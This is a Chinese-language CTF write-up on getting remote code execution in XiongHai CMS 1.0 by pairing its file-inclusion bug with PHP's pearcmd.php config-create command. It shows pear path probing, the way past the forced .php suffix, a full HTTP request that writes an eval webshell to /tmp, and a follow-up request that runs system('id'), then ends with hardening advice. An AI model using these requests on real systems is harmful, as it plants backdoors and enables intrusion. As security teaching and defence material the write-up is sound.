CTF实战:熊海CMS 1.0的另类利用——绕过文件上传限制,用Pearcmd.php实现RCE的完整流程
CTF实战:熊海CMS 1.0的另类利用——绕过文件上传限制,用Pearcmd.php实现RCE的完整流程
在渗透测试和CTF竞赛中,面对老旧CMS系统时,常规漏洞往往已被修复或限制。本文将深入探讨如何通过非传统路径,利用PHP的Pear扩展实现远程代码执行(RCE),为安全研究人员提供一种全新的攻击思路。
1. 熊海CMS漏洞背景分析
熊海CMS 1.0是一个存在多个已知漏洞的内容管理系统,常见攻击路径包括:
- 后台越权登录(通过修改cookie或弱口令)
- SQL注入漏洞(在/admin/?r=login路径)
- 文件包含漏洞(通过/?r=参数)
- 存储型XSS和CSRF漏洞
关键限制条件:
- 文件上传功能被严格限制,常规webshell上传无法成功
- 部分关键文件(如/proc/1/environ)权限受限,无法直接读取
- 自动添加.php后缀的文件包含机制
提示:在渗透测试中,当常规路径受阻时,需要关注系统组件和依赖项的非常规利用方式。
2. Pearcmd.php利用原理
PHP的PEAR(PHP Extension and Application Repository)是一个代码库和分发系统,其核心文件pearcmd.php在某些配置下可能成为攻击入口。
2.1 利用条件检查
要实现通过pearcmd.php的RCE,需要满足以下条件:
| 条件 | 检查方法 | 默认状态 |
|---|---|---|
| Pear扩展已安装 | 检查/usr/share/php/pearcmd.php是否存在 | 通常安装 |
| register_argc_argv=On | phpinfo()查看或尝试传递参数 | 默认为Off |
| 文件包含点可用 | 测试包含无害文件 | 依赖具体系统 |
| 可预测pear路径 | 尝试常见安装位置 | /usr/share/php/ |
2.2 config-create命令特性
pearcmd.php的config-create命令可以将输入内容写入指定文件:
php /usr/share/php/pearcmd.php config-create /任意内容 目标文件路径这个特性允许攻击者:
- 创建新的配置文件
- 在配置文件中注入PHP代码
- 通过文件包含执行该配置文件
3. 完整利用流程
3.1 路径探测与验证
首先需要确认pearcmd.php的实际位置,常见路径包括:
- /usr/local/lib/php/pearcmd.php
- /usr/share/php/pearcmd.php
- /usr/share/pear/pearcmd.php
在熊海CMS中,可以通过文件包含漏洞测试这些路径:
/?r=../../../../../../usr/share/php/pear3.2 绕过文件后缀限制
熊海CMS的文件包含会自动添加.php后缀,因此需要:
- 去掉pearcmd.php的.php后缀
- 使用足够多的../返回根目录
有效路径构造示例:
/?r=../../../../../../../../usr/share/php/pearcmd3.3 Payload构造与执行
完整的攻击payload需要:
- 使用+作为参数分隔符(而非&)
- 通过config-create命令写入webshell
- 指定可写的临时目录
GET /?+config-create+/&r=../../../../../../../../usr/share/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/webshell.php HTTP/1.1 Host: target.com关键参数说明:
+config-create+:执行的命令/&r=...:文件包含路径<?=@eval($_POST['cmd']);?>:写入的PHP代码/tmp/webshell.php:写入的目标路径
3.4 Webshell访问与利用
成功执行后,webshell将写入/tmp/webshell.php,访问时需注意:
- 系统可能自动添加.php后缀
- 需要使用原始包含路径访问
POST /?r=../../../../../../../../tmp/webshell HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=system('id');4. 防御建议与缓解措施
针对此类攻击,管理员可以采取以下防护措施:
禁用危险配置:
register_argc_argv = Off allow_url_include = Off文件包含防护:
- 限制包含文件路径
- 禁用动态包含
系统加固:
- 移除不必要的pearcmd.php
- 限制/tmp目录执行权限
输入验证:
$file = str_replace(array('../', '..\\'), '', $_GET['r']);
这种利用方式展示了在渗透测试中"迂回攻击"的重要性。当直接漏洞不可用时,通过组合系统组件特性往往能开辟新的攻击路径。理解底层机制是成为高级安全研究员的关键。
